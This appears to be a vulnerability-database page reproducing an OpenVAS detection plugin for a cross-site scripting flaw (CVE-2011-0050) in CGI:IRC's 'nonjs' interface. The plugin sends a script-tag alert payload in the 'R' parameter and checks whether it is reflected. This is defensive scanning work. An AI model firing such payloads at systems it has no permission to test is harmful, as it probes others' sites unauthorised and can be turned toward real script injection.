CGI:IRC 'nonjs' Interface Cross Site Scripting Vulnerability
🗓️ 10 Mar 2011 00:00:00Reported by Copyright (C) 2011 Greenbone AGType
openvas🔗 plugins.openvas.org👁 26 Views
| Reporter | Title | Published | Views | Family All 13 |
|---|---|---|---|---|
| Vulnerabilities of the Debian GNU/Linux operating system that allow a remote attacker to compromise the integrity of protected information | 28 Apr 201500:00 | – | bdu_fstec | |
| CVE-2011-0050 | 18 Feb 201123:00 | – | cve | |
| CVE-2011-0050 | 18 Feb 201123:00 | – | cvelist | |
| [SECURITY] [DSA-2158-1] cgiirc security update | 9 Feb 201121:32 | – | debian | |
| Debian DSA-2158-1 : cgiirc - XSS | 11 Feb 201100:00 | – | nessus | |
| EUVD-2011-0076 | 7 Oct 202500:30 | – | euvd | |
| CVE-2011-0050 | 19 Feb 201101:00 | – | nvd | |
| Debian: Security Advisory (DSA-2158-1) | 8 Mar 202300:00 | – | openvas | |
| DSA-2158-1 cgiirc - cross-site-scripting | 9 Feb 201100:00 | – | osv | |
| Cross site scripting | 19 Feb 201101:00 | – | prion |
10
| Source | Link |
|---|---|
| secunia | www.secunia.com/advisories/43217 |
| securityfocus | www.securityfocus.com/bid/46303 |
| vupen | www.vupen.com/english/advisories/2011/0346 |
# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.801859");
script_version("2023-10-27T05:05:28+0000");
script_tag(name:"last_modification", value:"2023-10-27 05:05:28 +0000 (Fri, 27 Oct 2023)");
script_tag(name:"creation_date", value:"2011-03-10 13:33:28 +0100 (Thu, 10 Mar 2011)");
script_cve_id("CVE-2011-0050");
script_tag(name:"cvss_base", value:"4.3");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
script_name("CGI:IRC 'nonjs' Interface Cross Site Scripting Vulnerability");
script_xref(name:"URL", value:"http://secunia.com/advisories/43217");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/46303");
script_xref(name:"URL", value:"http://www.vupen.com/english/advisories/2011/0346");
script_category(ACT_ATTACK);
script_copyright("Copyright (C) 2011 Greenbone AG");
script_family("Web application abuses");
script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "global_settings.nasl");
script_require_ports("Services/www", 80);
script_exclude_keys("Settings/disable_cgi_scanning");
script_tag(name:"impact", value:"Successful exploitation will allow attacker to execute arbitrary HTML and
script code in a user's browser session in the context of an affected site.");
script_tag(name:"affected", value:"CGI:IRC versions prior to 0.5.10.");
script_tag(name:"insight", value:"The flaw is caused by improper validation of user-supplied input passed via
the 'R' parameter in the 'nonjs' interface (interfaces/nonjs.pm), that
allows attackers to execute arbitrary HTML and script code on the web server.");
script_tag(name:"solution", value:"Upgrade to CGI:IRC version 0.5.10 or later.");
script_tag(name:"summary", value:"CGI:IRC is prone to a cross-site scripting (XSS) vulnerability.");
script_tag(name:"solution_type", value:"VendorFix");
script_tag(name:"qod_type", value:"remote_analysis");
exit(0);
}
include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");
include("misc_func.inc");
port = http_get_port(default:80);
vt_strings = get_vt_strings();
foreach dir (make_list_unique("/cgiirc", http_cgi_dirs(port:port)))
{
if( dir == "/" ) dir = "";
res = http_get_cache(item:dir + "/irc.cgi", port:port);
if(">CGI:IRC Login<" >< res)
{
url = dir + "/irc.cgi?nick=" + vt_strings["default"] + "&interface=mozilla&R=<script>alert" +
"('" + vt_strings["lowercase"] + "')</script>&item=fwindowlist";
if(http_vuln_check(port:port, url:url, check_header: TRUE,
pattern:"<script>alert\('" + vt_strings["lowercase"] + "'\)</script>"))
{
report = http_report_vuln_url(port:port, url:url);
security_message(port:port, data:report);
exit(0);
}
}
}
exit(99);
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
27 Oct 2023 00:00Current
5.6Medium risk
Vulners AI Score5.6
CVSS 24.3
EPSS0.02658